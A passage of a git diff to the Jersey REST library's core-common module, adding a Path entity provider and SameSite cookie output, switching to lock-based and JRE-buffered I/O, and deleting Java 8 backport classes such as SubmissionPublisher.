+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpHeaderReader.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,6 +28,8 @@
 import java.util.Locale;
 import java.util.Map;
 import java.util.Set;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
 
 import jakarta.ws.rs.core.Cookie;
 import jakarta.ws.rs.core.MediaType;
@@ -622,6 +624,7 @@
 
     private abstract static class ListReader<T> {
         private final LRU<String, List<T>> LIST_CACHE = LRU.create();
+        private final Lock lock = new ReentrantLock();
         protected final ListElementCreator<T> creator;
 
         protected ListReader(ListElementCreator<T> creator) {
@@ -639,7 +642,8 @@
             List<T> list = LIST_CACHE.getIfPresent(header);
 
             if (list == null) {
-                synchronized (LIST_CACHE) {
+                lock.lock();
+                try {
                     list = LIST_CACHE.getIfPresent(header);
                     if (list == null) {
                         HttpHeaderReader reader = new HttpHeaderReaderImpl(header);
@@ -655,6 +659,8 @@
                         }
                         LIST_CACHE.put(header, list);
                     }
+                } finally {
+                    lock.unlock();
                 }
             }
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/InputStreamProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/InputStreamProvider.java
index c07dcbf..6bf66cb 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/InputStreamProvider.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/InputStreamProvider.java
@@ -78,10 +78,8 @@
             MediaType mediaType,
             MultivaluedMap<String, Object> httpHeaders,
             OutputStream entityStream) throws IOException {
-        try {
+        try (t) {
             ReaderWriter.writeTo(t, entityStream);
-        } finally {
-            t.close();
         }
     }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/InterceptorExecutor.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/InterceptorExecutor.java
index 3040bf6..9acc012 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/InterceptorExecutor.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/InterceptorExecutor.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -89,6 +89,11 @@
     }
 
     @Override
+    public boolean hasProperty(final String name) {
+        return propertiesDelegate.hasProperty(name);
+    }
+
+    @Override
     public Object getProperty(final String name) {
         return propertiesDelegate.getProperty(name);
     }
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/MessagingBinders.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/MessagingBinders.java
index fa1117a..307f54f 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/MessagingBinders.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/MessagingBinders.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -92,6 +92,7 @@
             bindSingletonWorker(ByteArrayProvider.class);
             // bindSingletonWorker(DataSourceProvider.class);
             bindSingletonWorker(FileProvider.class);
+            bindSingletonWorker(PathProvider.class);
             bindSingletonWorker(FormMultivaluedMapProvider.class);
             bindSingletonWorker(FormProvider.class);
             bindSingletonWorker(InputStreamProvider.class);
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/NewCookieProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/NewCookieProvider.java
index 9c53c74..08fbf5a 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/NewCookieProvider.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/NewCookieProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,6 +23,8 @@
 import org.glassfish.jersey.internal.LocalizationMessages;
 import org.glassfish.jersey.spi.HeaderDelegateProvider;
 
+import java.util.Locale;
+
 import static org.glassfish.jersey.message.internal.Utils.throwIllegalArgumentExceptionIfNull;
 
 /**
@@ -73,9 +75,13 @@
         if (cookie.isHttpOnly()) {
             b.append(";HttpOnly");
         }
+        if (cookie.getSameSite() != null) {
+            b.append(";SameSite=");
+            b.append(getSameSite(cookie));
+        }
         if (cookie.getExpiry() != null) {
             b.append(";Expires=");
-            b.append(HttpDateFormat.getPreferredDateFormat().format(cookie.getExpiry()));
+            b.append(HttpDateFormat.getPreferredDateFormatter().format(cookie.getExpiry()));
         }
 
         return b.toString();
@@ -86,4 +92,9 @@
         throwIllegalArgumentExceptionIfNull(header, LocalizationMessages.NEW_COOKIE_IS_NULL());
         return HttpHeaderReader.readNewCookie(header);
     }
+
+    private static String getSameSite(NewCookie cookie) {
+        final String siteName = cookie.getSameSite().name();
+        return siteName.charAt(0) + siteName.substring(1).toLowerCase(Locale.ROOT);
+    }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/NullOutputStream.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/NullOutputStream.java
index 26d3f14..ae41378 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/NullOutputStream.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/NullOutputStream.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,22 +18,17 @@
 
 import java.io.IOException;
 import java.io.OutputStream;
+import java.util.Objects;
 
 import org.glassfish.jersey.internal.LocalizationMessages;
 
 /**
- * A {@code "dev/null"} output stream - an output stream implementation that discards all the
- * data written to it. This implementation is not thread-safe.
- *
- * Note that once a null output stream instance is {@link #close() closed}, any subsequent attempts
- * to write the data to the closed stream result in an {@link java.io.IOException} being thrown.
- *
- * @author Miroslav Fuksa
- * @author Marek Potociar
+ * Since JDK 11 is replaced by {@link OutputStream#nullOutputStream()}
  */
+@Deprecated(since = "3.1.7", forRemoval = true)
 public class NullOutputStream extends OutputStream {
 
-    private boolean isClosed;
+    private volatile boolean isClosed;
 
     @Override
     public void write(int b) throws IOException {
@@ -43,11 +38,7 @@
     @Override
     public void write(byte[] b, int off, int len) throws IOException {
         checkClosed();
-        if (b == null) {
-            throw new NullPointerException();
-        } else if ((off < 0) || (off > b.length) || (len < 0) || ((off + len) > b.length) || ((off + len) < 0)) {
-            throw new IndexOutOfBoundsException();
-        }
+        Objects.checkFromIndexSize(off, len, b.length);
     }
 
     @Override
@@ -65,4 +56,4 @@
     public void close() throws IOException {
         isClosed = true;
     }
-}
+}
\ No newline at end of file
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/PathProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/PathProvider.java
new file mode 100644
index 0000000..461a4f8
--- /dev/null
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/PathProvider.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (c) 2024 Markus KARG and others.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.message.internal;
+
+import static jakarta.ws.rs.core.MediaType.APPLICATION_OCTET_STREAM;
+import static jakarta.ws.rs.core.MediaType.WILDCARD;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Type;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.StandardCopyOption;
+
+import jakarta.ws.rs.Consumes;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.MultivaluedMap;
+
+import jakarta.inject.Singleton;
+
+/**
+ * Provider for marshalling/un-marshalling of {@code application/octet-stream}
+ * entity type to/from a {@link Path} instance.
+ *
+ * @author Markus KARG
+ */
+@Produces({APPLICATION_OCTET_STREAM, WILDCARD})
+@Consumes({APPLICATION_OCTET_STREAM, WILDCARD})
+@Singleton
+public final class PathProvider extends AbstractMessageReaderWriterProvider<Path> {
+
+    @Override
+    public final boolean isReadable(final Class<?> type,
+            final Type genericType,
+            final Annotation[] annotations,
+            final MediaType mediaType) {
+        return Path.class == type;
+    }
+
+    @Override
+    public final Path readFrom(final Class<Path> type,
+            final Type genericType,
+            final Annotation[] annotations,
+            final MediaType mediaType,
+            final MultivaluedMap<String, String> httpHeaders,
+            final InputStream entityStream) throws IOException {
+        final var path = Utils.createTempFile().toPath();
+        Files.copy(entityStream, path, StandardCopyOption.REPLACE_EXISTING);
+        return path;
+    }
+
+    @Override
+    public final boolean isWriteable(final Class<?> type,
+            final Type genericType,
+            final Annotation[] annotations,
+            final MediaType mediaType) {
+        return Path.class.isAssignableFrom(type);
+    }
+
+    @Override
+    public final void writeTo(final Path t,
+            final Class<?> type,
+            final Type genericType,
+            final Annotation[] annotations,
+            final MediaType mediaType,
+            final MultivaluedMap<String, Object> httpHeaders,
+            final OutputStream entityStream) throws IOException {
+        Files.copy(t, entityStream);
+    }
+}
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderInterceptorExecutor.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderInterceptorExecutor.java
index a0e5dfc..20a01d6 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderInterceptorExecutor.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderInterceptorExecutor.java
@@ -22,6 +22,8 @@
 import java.lang.reflect.Type;
 import java.util.Iterator;
 import java.util.List;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
 import java.util.logging.Level;
 import java.util.logging.Logger;
 import java.util.stream.Collectors;
@@ -253,6 +255,7 @@
 
         private final InputStream original;
         private final MessageBodyReader reader;
+        private final Lock markLock = new ReentrantLock();
 
         private UnCloseableInputStream(final InputStream original, final MessageBodyReader reader) {
             this.original = original;
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderWriter.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderWriter.java
index 018c9f0..ae8e7d8 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderWriter.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderWriter.java
@@ -43,7 +43,7 @@
  * A utility class for reading and writing using byte and character streams.
  * <p>
  * If a byte or character array is utilized then the size of the array
- * is by default the value of {@value org.glassfish.jersey.message.MessageProperties#IO_DEFAULT_BUFFER_SIZE}.
+ * is by default decided by the JRE.
  * This value can be set using the system property
  * {@value org.glassfish.jersey.message.MessageProperties#IO_BUFFER_SIZE}.
  *
@@ -57,14 +57,19 @@
      *
      * @deprecated use {@code StandardCharsets.UTF_8} instead
      */
-    @Deprecated
+    @Deprecated(forRemoval = true)
     public static final Charset UTF8 = StandardCharsets.UTF_8;
     /**
      * The buffer size for arrays of byte and character.
      */
     public static final int BUFFER_SIZE = getBufferSize();
 
-    private static int getBufferSize() {
+    /**
+     * Whether {@linkplain BUFFER_SIZE} is to be ignored in favor of JRE's own decision.
+     */
+    public static final boolean AUTOSIZE_BUFFER = getAutosizeBuffer();
+
+    private static int getIOBufferSize() {
         // TODO should we unify this buffer size and CommittingOutputStream buffer size (controlled by CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER)?
         final String value = AccessController.doPrivileged(PropertiesHelper.getSystemProperty(MessageProperties.IO_BUFFER_SIZE));
         if (value != null) {
@@ -78,11 +83,20 @@
                 LOGGER.log(Level.CONFIG,
                         "Value of " + MessageProperties.IO_BUFFER_SIZE
                                 + " property is not a valid positive integer [" + value + "]."
-                                + " Reverting to default [" + MessageProperties.IO_DEFAULT_BUFFER_SIZE + "].",
+                                + " Reverting to default [at JRE's discretion].",
                         e);
             }
         }
-        return MessageProperties.IO_DEFAULT_BUFFER_SIZE;
+        return -1;
+    }
+
+    private static int getBufferSize() {
+        final int ioBufferSize = getIOBufferSize();
+        return ioBufferSize == -1 ? MessageProperties.IO_DEFAULT_BUFFER_SIZE : ioBufferSize;
+    }
+
+    private static boolean getAutosizeBuffer() {
+        return getIOBufferSize() == -1;
     }
 
     /**
@@ -93,6 +107,11 @@
      * @throws IOException if there is an error reading or writing bytes.
      */
     public static void writeTo(InputStream in, OutputStream out) throws IOException {
+        if (AUTOSIZE_BUFFER) {
+            in.transferTo(out);
+            return;
+        }
+
         int read;
         final byte[] data = new byte[BUFFER_SIZE];
         while ((read = in.read(data)) != -1) {
@@ -108,6 +127,11 @@
      * @throws IOException if there is an error reading or writing characters.
      */
     public static void writeTo(Reader in, Writer out) throws IOException {
+        if (AUTOSIZE_BUFFER) {
+            in.transferTo(out);
+            return;
+        }
+
         int read;
         final char[] data = new char[BUFFER_SIZE];
         while ((read = in.read(data)) != -1) {
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/TracingAwarePropertiesDelegate.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/TracingAwarePropertiesDelegate.java
index 97afd68..a75e554 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/TracingAwarePropertiesDelegate.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/TracingAwarePropertiesDelegate.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -59,6 +59,14 @@
     }
 
     @Override
+    public boolean hasProperty(final String name) {
+        if (tracingLogger != null && TracingLogger.PROPERTY_NAME.equals(name)) {
+            return true;
+        }
+        return propertiesDelegate.hasProperty(name);
+    }
+
+    @Override
     public Object getProperty(String name) {
         if (tracingLogger != null && TracingLogger.PROPERTY_NAME.equals(name)) {
             return tracingLogger;
diff --git a/core-common/src/main/java/org/glassfish/jersey/process/internal/RequestScope.java b/core-common/src/main/java/org/glassfish/jersey/process/internal/RequestScope.java
index ced41cd..4d92447 100644
--- a/core-common/src/main/java/org/glassfish/jersey/process/internal/RequestScope.java
+++ b/core-common/src/main/java/org/glassfish/jersey/process/internal/RequestScope.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -244,6 +244,7 @@
      */
     protected void release(RequestContext context) {
         context.release();
+        currentRequestContext.remove();
     }
 
     /**
diff --git a/core-common/src/main/java8/org/glassfish/jersey/innate/io/InputStreamWrapper.java b/core-common/src/main/java8/org/glassfish/jersey/innate/io/InputStreamWrapper.java
deleted file mode 100644
index c2109fe..0000000
--- a/core-common/src/main/java8/org/glassfish/jersey/innate/io/InputStreamWrapper.java
+++ /dev/null
@@ -1,86 +0,0 @@
-/*
- * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.innate.io;
-
-import java.io.IOException;
-import java.io.InputStream;
-
-/**
- * Generic wrapper template for InputStream.
- */
-public abstract class InputStreamWrapper extends InputStream {
-
-    /**
-     * Return the wrapped stream
-     * @return
-     */
-    protected abstract InputStream getWrapped();
-
-    /**
-     * Get wrapped stream that can throw {@link IOException}
-     * @return the wrapped InputStream.
-     * @throws IOException
-     */
-    protected InputStream getWrappedIOE() throws IOException {
-        return getWrapped();
-    }
-
-    @Override
-    public int read() throws IOException {
-        return getWrappedIOE().read();
-    }
-
-    @Override
-    public int read(byte[] b) throws IOException {
-        return getWrappedIOE().read(b);
-    }
-
-    @Override
-    public int read(byte[] b, int off, int len) throws IOException {
-        return getWrappedIOE().read(b, off, len);
-    }
-
-    @Override
-    public long skip(long n) throws IOException {
-        return getWrappedIOE().skip(n);
-    }
-
-    @Override
-    public int available() throws IOException {
-        return getWrappedIOE().available();
-    }
-
-    @Override
-    public void close() throws IOException {
-        getWrappedIOE().close();
-    }
-
-    @Override
-    public void mark(int readlimit) {
-        getWrapped().mark(readlimit);
-    }
-
-    @Override
-    public void reset() throws IOException {
-        getWrappedIOE().reset();
-    }
-
-    @Override
-    public boolean markSupported() {
-        return getWrapped().markSupported();
-    }
-}
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java b/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java
deleted file mode 100644
index 6eb4cb5..0000000
--- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java
+++ /dev/null
@@ -1,1626 +0,0 @@
-/*
- * Written by Doug Lea with assistance from members of JCP JSR-166
- * Expert Group and released to the public domain, as explained at
- * http://creativecommons.org/publicdomain/zero/1.0/
- */
-
-package org.glassfish.jersey.internal.jsr166;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.Executor;
-import java.util.concurrent.Executors;
-import java.util.concurrent.ForkJoinPool;
-import java.util.concurrent.ForkJoinTask;
-import java.util.concurrent.RejectedExecutionException;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.locks.LockSupport;
-import java.util.function.BiConsumer;
-import java.util.function.BiPredicate;
-import java.util.function.Consumer;
-
-/**
- * A {@link Flow.Publisher} that asynchronously issues submitted
- * (non-null) items to current subscribers until it is closed.  Each
- * current subscriber receives newly submitted items in the same order
- * unless drops or exceptions are encountered.  Using a
- * SubmissionPublisher allows item generators to act as compliant <a
- * href="http://www.reactive-streams.org/"> reactive-streams</a>
- * Publishers relying on drop handling and/or blocking for flow
- * control.
- * <p>
- * <p>A SubmissionPublisher uses the {@link Executor} supplied in its
- * constructor for delivery to subscribers. The best choice of
- * Executor depends on expected usage. If the generator(s) of
- * submitted items run in separate threads, and the number of
- * subscribers can be estimated, consider using a {@link
- * Executors#newFixedThreadPool}. Otherwise consider using the
- * default, normally the {@link ForkJoinPool#commonPool}.
- * <p>
- * <p>Buffering allows producers and consumers to transiently operate
- * at different rates.  Each subscriber uses an independent buffer.
- * Buffers are created upon first use and expanded as needed up to the
- * given maximum. (The enforced capacity may be rounded up to the
- * nearest power of two and/or bounded by the largest value supported
- * by this implementation.)  Invocations of {@link
- * Flow.Subscription#request(long) request} do not directly result in
- * buffer expansion, but risk saturation if unfilled requests exceed
- * the maximum capacity.  The default value of {@link
- * Flow#defaultBufferSize()} may provide a useful starting point for
- * choosing a capacity based on expected rates, resources, and usages.
- * <p>
- * <p>Publication methods support different policies about what to do
- * when buffers are saturated. Method {@link #submit(Object) submit}
- * blocks until resources are available. This is simplest, but least
- * responsive.  The {@code offer} methods may drop items (either
- * immediately or with bounded timeout), but provide an opportunity to
- * interpose a handler and then retry.
- * <p>
- * <p>If any Subscriber method throws an exception, its subscription
- * is cancelled.  If a handler is supplied as a constructor argument,
- * it is invoked before cancellation upon an exception in method
- * {@link Flow.Subscriber#onNext onNext}, but exceptions in methods
- * {@link Flow.Subscriber#onSubscribe onSubscribe},
- * {@link Flow.Subscriber#onError(Throwable) onError} and
- * {@link Flow.Subscriber#onComplete() onComplete} are not recorded or
- * handled before cancellation.  If the supplied Executor throws
- * {@link RejectedExecutionException} (or any other RuntimeException
- * or Error) when attempting to execute a task, or a drop handler
- * throws an exception when processing a dropped item, then the
- * exception is rethrown. In these cases, not all subscribers will
- * have been issued the published item. It is usually good practice to
- * {@link #closeExceptionally closeExceptionally} in these cases.
- * <p>
- * <p>Method {@link #consume(Consumer)} simplifies support for a
- * common case in which the only action of a subscriber is to request
- * and process all items using a supplied function.
- * <p>
- * <p>This class may also serve as a convenient base for subclasses
- * that generate items, and use the methods in this class to publish
- * them.  For example here is a class that periodically publishes the
- * items generated from a supplier. (In practice you might add methods
- * to independently start and stop generation, to share Executors
- * among publishers, and so on, or use a SubmissionPublisher as a
- * component rather than a superclass.)
- * <p>
- * <pre> {@code
- * class PeriodicPublisher<T> extends SubmissionPublisher<T> {
- *   final ScheduledFuture<?> periodicTask;
- *   final ScheduledExecutorService scheduler;
- *   PeriodicPublisher(Executor executor, int maxBufferCapacity,
- *                     Supplier<? extends T> supplier,
- *                     long period, TimeUnit unit) {
- *     super(executor, maxBufferCapacity);
- *     scheduler = new ScheduledThreadPoolExecutor(1);
- *     periodicTask = scheduler.scheduleAtFixedRate(
- *       () -> submit(supplier.get()), 0, period, unit);
- *   }
- *   public void close() {
- *     periodicTask.cancel(false);
- *     scheduler.shutdown();
- *     super.close();
- *   }
- * }}</pre>
- * <p>
- * <p>Here is an example of a {@link Flow.Processor} implementation.
- * It uses single-step requests to its publisher for simplicity of
- * illustration. A more adaptive version could monitor flow using the
- * lag estimate returned from {@code submit}, along with other utility
- * methods.
- * <p>
- * <pre> {@code
- * class TransformProcessor<S,T> extends SubmissionPublisher<T>
- *   implements Flow.Processor<S,T> {
- *   final Function<? super S, ? extends T> function;
- *   Flow.Subscription subscription;
- *   TransformProcessor(Executor executor, int maxBufferCapacity,
- *                      Function<? super S, ? extends T> function) {
- *     super(executor, maxBufferCapacity);
- *     this.function = function;
- *   }
- *   public void onSubscribe(Flow.Subscription subscription) {
- *     (this.subscription = subscription).request(1);
- *   }
- *   public void onNext(S item) {
- *     subscription.request(1);
- *     submit(function.apply(item));
- *   }
- *   public void onError(Throwable ex) { closeExceptionally(ex); }
- *   public void onComplete() { close(); }
- * }}</pre>
- *
- * @param <T> the published item type
- * @author Doug Lea
- * @since 9
- */
-public class SubmissionPublisher<T> implements Flow.Publisher<T>, SubmittableFlowPublisher<T>,
-        AutoCloseable {
-    /*
-     * Most mechanics are handled by BufferedSubscription. This class
-     * mainly tracks subscribers and ensures sequentiality, by using
-     * built-in synchronization locks across public methods. (Using
-     * built-in locks works well in the most typical case in which
-     * only one thread submits items).
-     */
-
-    /**
-     * The largest possible power of two array size.
-     */
-    static final int BUFFER_CAPACITY_LIMIT = 1 << 30;
-
-    /**
-     * Round capacity to power of 2, at most limit.
-     */
-    static final int roundCapacity(int cap) {
-        int n = cap - 1;
-        n |= n >>> 1;
-        n |= n >>> 2;
-        n |= n >>> 4;
-        n |= n >>> 8;
-        n |= n >>> 16;
-        return (n <= 0) ? 1 : // at least 1
-                (n >= BUFFER_CAPACITY_LIMIT) ? BUFFER_CAPACITY_LIMIT : n + 1;
-    }
-
-    // default Executor setup; nearly the same as CompletableFuture
-
-    /**
-     * Default executor -- ForkJoinPool.commonPool() unless it cannot
-     * support parallelism.
-     */
-    private static final Executor ASYNC_POOL =
-            (ForkJoinPool.getCommonPoolParallelism() > 1) ? ForkJoinPool.commonPool() : new ThreadPerTaskExecutor();
-
-    /**
-     * Fallback if ForkJoinPool.commonPool() cannot support parallelism
-     */
-    private static final class ThreadPerTaskExecutor implements Executor {
-        public void execute(Runnable r) {
-            new Thread(r).start();
-        }
-    }
-
-    /**
-     * Clients (BufferedSubscriptions) are maintained in a linked list
-     * (via their "next" fields). This works well for publish loops.
-     * It requires O(n) traversal to check for duplicate subscribers,
-     * but we expect that subscribing is much less common than
-     * publishing. Unsubscribing occurs only during traversal loops,
-     * when BufferedSubscription methods return negative values
-     * signifying that they have been disabled.  To reduce
-     * head-of-line blocking, submit and offer methods first call
-     * BufferedSubscription.offer on each subscriber, and place
-     * saturated ones in retries list (using nextRetry field), and
-     * retry, possibly blocking or dropping.
-     */
-    BufferedSubscription<T> clients;
-
-    /**
-     * Run status, updated only within locks
-     */
-    volatile boolean closed;
-    /**
-     * If non-null, the exception in closeExceptionally
-     */
-    volatile Throwable closedException;
-
-    // Parameters for constructing BufferedSubscriptions
-    final Executor executor;
-    final BiConsumer<? super Flow.Subscriber<? super T>, ? super Throwable> onNextHandler;
-    final int maxBufferCapacity;
-
-    /**
-     * Creates a new SubmissionPublisher using the given Executor for
-     * async delivery to subscribers, with the given maximum buffer size
-     * for each subscriber, and, if non-null, the given handler invoked
-     * when any Subscriber throws an exception in method {@link
-     * Flow.Subscriber#onNext(Object) onNext}.
-     *
-     * @param executor          the executor to use for async delivery,
-     *                          supporting creation of at least one independent thread
-     * @param maxBufferCapacity the maximum capacity for each
-     *                          subscriber's buffer (the enforced capacity may be rounded up to
-     *                          the nearest power of two and/or bounded by the largest value
-     *                          supported by this implementation; method {@link #getMaxBufferCapacity}
-     *                          returns the actual value)
-     * @param handler           if non-null, procedure to invoke upon exception
-     *                          thrown in method {@code onNext}
-     * @throws NullPointerException     if executor is null
-     * @throws IllegalArgumentException if maxBufferCapacity not
-     *                                  positive
-     */
-    public SubmissionPublisher(Executor executor, int maxBufferCapacity,
-                               BiConsumer<? super Flow.Subscriber<? super T>, ? super Throwable> handler) {
-        if (executor == null) {
-            throw new NullPointerException();
-        }
-        if (maxBufferCapacity <= 0) {
-            throw new IllegalArgumentException("capacity must be positive");
-        }
-        this.executor = executor;
-        this.onNextHandler = handler;
-        this.maxBufferCapacity = roundCapacity(maxBufferCapacity);
-    }
-
-    /**
-     * Creates a new SubmissionPublisher using the given Executor for
-     * async delivery to subscribers, with the given maximum buffer size
-     * for each subscriber, and no handler for Subscriber exceptions in
-     * method {@link Flow.Subscriber#onNext(Object) onNext}.
-     *
-     * @param executor          the executor to use for async delivery,
-     *                          supporting creation of at least one independent thread
-     * @param maxBufferCapacity the maximum capacity for each
-     *                          subscriber's buffer (the enforced capacity may be rounded up to
-     *                          the nearest power of two and/or bounded by the largest value
-     *                          supported by this implementation; method {@link #getMaxBufferCapacity}
-     *                          returns the actual value)
-     * @throws NullPointerException     if executor is null
-     * @throws IllegalArgumentException if maxBufferCapacity not
-     *                                  positive
-     */
-    public SubmissionPublisher(Executor executor, int maxBufferCapacity) {
-        this(executor, maxBufferCapacity, null);
-    }
-
-    /**
-     * Creates a new SubmissionPublisher using the {@link
-     * ForkJoinPool#commonPool()} for async delivery to subscribers
-     * (unless it does not support a parallelism level of at least two,
-     * in which case, a new Thread is created to run each task), with
-     * maximum buffer capacity of {@link Flow#defaultBufferSize}, and no
-     * handler for Subscriber exceptions in method {@link
-     * Flow.Subscriber#onNext(Object) onNext}.
-     */
-    public SubmissionPublisher() {
-        this(ASYNC_POOL, Flow.defaultBufferSize(), null);
-    }
-
-    /**
-     * Adds the given Subscriber unless already subscribed.  If already
-     * subscribed, the Subscriber's {@link
-     * Flow.Subscriber#onError(Throwable) onError} method is invoked on
-     * the existing subscription with an {@link IllegalStateException}.
-     * Otherwise, upon success, the Subscriber's {@link
-     * Flow.Subscriber#onSubscribe onSubscribe} method is invoked
-     * asynchronously with a new {@link Flow.Subscription}.  If {@link
-     * Flow.Subscriber#onSubscribe onSubscribe} throws an exception, the
-     * subscription is cancelled. Otherwise, if this SubmissionPublisher
-     * was closed exceptionally, then the subscriber's {@link
-     * Flow.Subscriber#onError onError} method is invoked with the
-     * corresponding exception, or if closed without exception, the
-     * subscriber's {@link Flow.Subscriber#onComplete() onComplete}
-     * method is invoked.  Subscribers may enable receiving items by
-     * invoking the {@link Flow.Subscription#request(long) request}
-     * method of the new Subscription, and may unsubscribe by invoking
-     * its {@link Flow.Subscription#cancel() cancel} method.
-     *
-     * @param subscriber the subscriber
-     * @throws NullPointerException if subscriber is null
-     */
-    public void subscribe(Flow.Subscriber<? super T> subscriber) {
-        if (subscriber == null) {
-            throw new NullPointerException();
-        }
-        BufferedSubscription<T> subscription =
-                new BufferedSubscription<T>(subscriber, executor,
-                        onNextHandler, maxBufferCapacity);
-        synchronized (this) {
-            for (BufferedSubscription<T> b = clients, pred = null;;) {
-                if (b == null) {
-                    Throwable ex;
-                    subscription.onSubscribe();
-                    if ((ex = closedException) != null) {
-                        subscription.onError(ex);
-                    } else if (closed) {
-                        subscription.onComplete();
-                    } else if (pred == null) {
-                        clients = subscription;
-                    } else {
-                        pred.next = subscription;
-                    }
-                    break;
-                }
-                BufferedSubscription<T> next = b.next;
-                if (b.isDisabled()) { // remove
-                    b.next = null;    // detach
-                    if (pred == null) {
-                        clients = next;
-                    } else {
-                        pred.next = next;
-                    }
-                } else if (subscriber.equals(b.subscriber)) {
